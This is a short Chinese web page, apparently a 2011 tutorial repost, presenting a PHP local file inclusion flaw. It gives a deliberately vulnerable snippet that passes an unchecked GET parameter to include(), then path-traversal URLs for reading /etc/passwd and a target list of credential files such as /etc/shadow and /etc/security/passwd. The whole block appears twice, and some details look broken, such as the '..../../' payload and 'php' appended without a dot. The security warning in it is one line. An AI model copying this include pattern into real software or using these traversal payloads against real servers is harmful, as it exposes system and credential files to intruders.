php 伪造本地文件包含漏洞的代码
更新时间:2011年11月03日 23:33:36 作者:
php 伪造本地文件包含漏洞的代码,大家一定要注意防范。
代码:
<?php
$page=$_GET['page'];
include($page.'php');
?>
你可以这样使用
http://www.xxx.com/index.php?page=../etc/passwd
http://www.xxx.com/index.php?page=../../../etc/passwd
http://www.xxx.com/index.php?page=..../../etc/passwd
获取更多数据:
etc/profile
etc/services
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
来自hackteach
复制代码 代码如下:
<?php
$page=$_GET['page'];
include($page.'php');
?>
你可以这样使用
http://www.xxx.com/index.php?page=../etc/passwd
http://www.xxx.com/index.php?page=../../../etc/passwd
http://www.xxx.com/index.php?page=..../../etc/passwd
获取更多数据:
etc/profile
etc/services
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
来自hackteach
相关文章
php正则提取html图片(img)src地址与任意属性的方法
下面小编就为大家带来一篇php正则提取html图片(img)src地址与任意属性的方法。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧2017-02-02
PHP函数checkdnsrr用法详解(Windows平台用法)
这篇文章主要介绍了PHP函数checkdnsrr用法,分析讲解了在Windows平台使用checkdnsrr函数的方法,需要的朋友可以参考下2016-03-03


最新评论